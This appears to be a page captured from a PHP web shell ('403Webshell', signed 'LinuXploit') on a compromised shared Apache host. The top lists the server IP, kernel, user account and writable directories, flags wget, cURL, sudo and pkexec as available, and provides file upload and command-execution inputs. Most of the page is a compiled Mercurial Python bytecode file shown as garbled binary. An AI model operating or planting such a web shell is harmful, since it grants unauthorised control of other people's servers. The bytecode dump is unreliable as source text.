403Webshell
Server IP : 108.167.183.253  /  Your IP : 216.73.216.79
Web Server : Apache
System : Linux gator4209.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : raghunath ( 2558)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/fastannotate/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/fastannotate/__pycache__/support.cpython-39.opt-1.pyc
a

�+�bK�@s�ddlmZddlmZddlmZmZmZm	Z	m
Z
mZddlmZm
Z
Gdd�de�Zdd	�Zd
d�Zddd�Zdd�Zddd�Zddd�Zdd�Zdd�Zd
S)�)�absolute_import)�getattr)�context�dagop�
extensions�hgweb�patch�util�)r�revmapc@s>eZdZdZdd�Zdd�Zdd�Zejdd	��Z	d
d�Z
dS)
�	_lazyfctxz<delegates to fctx but do not construct fctx when unnecessarycCs||_||_||_dS�N)�_node�_path�_repo)�self�repo�node�path�r�@/usr/lib64/python3.9/site-packages/hgext/fastannotate/support.py�__init__sz_lazyfctx.__init__cCs|jSr
)r�rrrrr"sz_lazyfctx.nodecCs|jSr
)rrrrrr%sz_lazyfctx.pathcCst�|j|j|j�Sr
)rZresolvefctxrrrrrrr�_fctx(sz_lazyfctx._fctxcCst|j|�Sr
)rr)r�namerrr�__getattr__,sz_lazyfctx.__getattr__N)�__name__�
__module__�__qualname__�__doc__rrrr	Z
propertycacherrrrrrrs
rc
Cszg}i}tj}t|�D]^\}\}}}	||	f|vrDt|||	�|||	f<|d}
|||	f}||}|�|||
|d��q|S)z7convert fastannotate outputs to vanilla annotate formatr
)�fctx�lineno�text)r�annotateline�	enumerater�append)
r�	annotated�contents�resultsZfctxmapr#�iZhshZlinenumrr!r �linerrr�_convertoutputs0sr+cCs|jj�dd�pdS)z
(fctx) -> strsfastannotates
mainbranchsdefault)r�uiZconfig)r rrr�
_getmasterBsr-TNcCs�t|�}t�|||���}z|j|��|ddd�\}}Wnbty�|��|jj�	d|j
�z|j|��|ddd�\}}Wnty��Yn0Yn0Wd�n1s�0Yt|j||�S)z�like the vanilla fctx.annotate, but do it via fastannotate, and make
    the output format compatible with the vanilla fctx.annotate.
    may raise Exception, and always return line numbers.
    T)�masterZshowpathZ	showliness*fastannotate: %s: rebuilding broken cache
N)r-r�fctxannotatecontextZannotateZrev�	ExceptionZrebuildrr,�debugrr+)r �follow�diffoptsr.�acr&r'rrr�_doannotateGs$���,r5cCstj|dddd�}t||d�S)NT�annotate)Z	untrusted�sectionZ
whitespace)r3)rZdifffeatureoptsr5)�origr r,r3rrr�_hgwebannotatecs�r9Fc
Csp|r||||||d�Szt|||�WStyj}z.|jj�d|�|||||d�WYd}~Sd}~00dS)N)�skiprevsr3s7fastannotate: falling back to the vanilla annotate: %r
)r2r:r3)r5r0rr,r1)r8rr2Z
linenumberr:r3�exrrr�
_fctxannotatejs
��r<cCsLt�|||��}t�|j�}Wd�n1s00Y||||||d�S)N)r:r3Zprefetchskip)rr/rZ
revmappath)r8rr2r:r3r4Zskipsetrrr�_remotefctxannotate{s
*
�r=cCst�tjdt�dS�Nr6)r�wrapfunctionrZwebutilr9rrrr�replacehgwebannotate�sr@cCst�tjdt�dSr>)rr?�	hgcontextZbasefilectxr<rrrr�replacefctxannotate�srB)TN)FFNN)FNN)Z
__future__rZmercurial.pycompatrZ	mercurialrrArrrrr	�r�objectrr+r-r5r9r<r=r@rBrrrr�<module>s 	
�

	

Youez - 2016 - github.com/yon3zu
LinuXploit